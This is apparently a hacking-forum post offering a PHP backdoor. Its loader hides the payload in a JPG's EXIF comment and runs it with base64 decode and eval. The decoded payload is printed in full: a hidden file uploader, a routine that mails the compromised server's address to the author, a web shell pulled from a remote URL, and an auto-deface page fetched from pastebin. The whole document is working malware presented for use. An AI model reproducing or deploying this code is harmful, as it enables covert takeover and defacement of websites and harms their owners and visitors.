hidden log by jpg

decoder : sohai
contact me: sohai@hacker-newbie.org
desript : hidden uploader,shell, and auto deface.
        ->how to use : test.php?0upload = hidden uploader
        -            : test.php?0shell  = hidden shell
                       test.php?0deface = auto deface.
sample encode :
<?php
$BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
eval(base64_decode($BASED["COMPUTED"]["UserComment"]));

?>

decode:
<?php
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@error_reporting(0);
$up = " <html> <head><title> -= Syedich =- </title></head><body><center><h1><font face=\"Tahoma\" size=\"5\" color=\"#ff0000\">Learn To Better</font></h1><form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\"><table border=\"1\"><tr><td bgcolor=\"#000000\"><font color=\"#00ff00\"><input type=\"file\" name=\"file\" size=\"50\"><td bgcolor=\"#000000\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload File\"></td></td></tr></table></form></center></body>";
if( $_POST['_upl'] == "Upload File" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b><center>
<font face=\"Tahoma\" size=\"5\" color=\"#ff0000\">SUKSES UPLOAD MASTAH !!</center></b>';
}
else {
echo '
<font face=\"Tahoma\" size=\"5\" color=\"#ff0000\"><center><b>GAGAL UPLOAD MASTAH !</b>';
}
}
if(isset($_GET["0upload"])){
echo "$up";
}
/////////////////////////////
 if(isset($_GET["0cek"])){
echo "Password E :".$auth_pass;
 }
/////////////////////////////
if (file_exists('.db'))
 {  } else {
$to = "syedich@yahoo.com";
$subject = $_SERVER['SERVER_NAME'];
$header = "From: Mastah <jancok@matamucok.com>";
$message = "Exploit : http://". $_SERVER['SERVER_NAME']. $_SERVER['REQUEST_URI'];
mail($to, $subject, $message, $header);
$m = fopen(".db", "w") or die (" ");
$txt = "";
fwrite($m, $txt);
fclose($m);
chmod(".db",0644); }
/////////////////////////////
 if(isset($_GET["0shell"])){
$anak1 = file_get_contents("https://sites.google.com/site/bhshll123/bh.txt");
$nggawe1 = fopen("themes.php","w") or die ("gabisa pak");
fwrite($nggawe1,$anak1);
fclose($nggawe1);
header ("Location:themes.php");
chmod("themes.php",0644);}
//////////////////////////////
if(isset($_GET["0deface"])){
$anak = file_get_contents("http://pastebin.com/raw/6JA72K8m");
$nggawe = fopen("0x.htm","w") or die ("gabisa pak");
fwrite($nggawe,$anak);
fclose($nggawe);
header ("Location:0x.htm");}
?>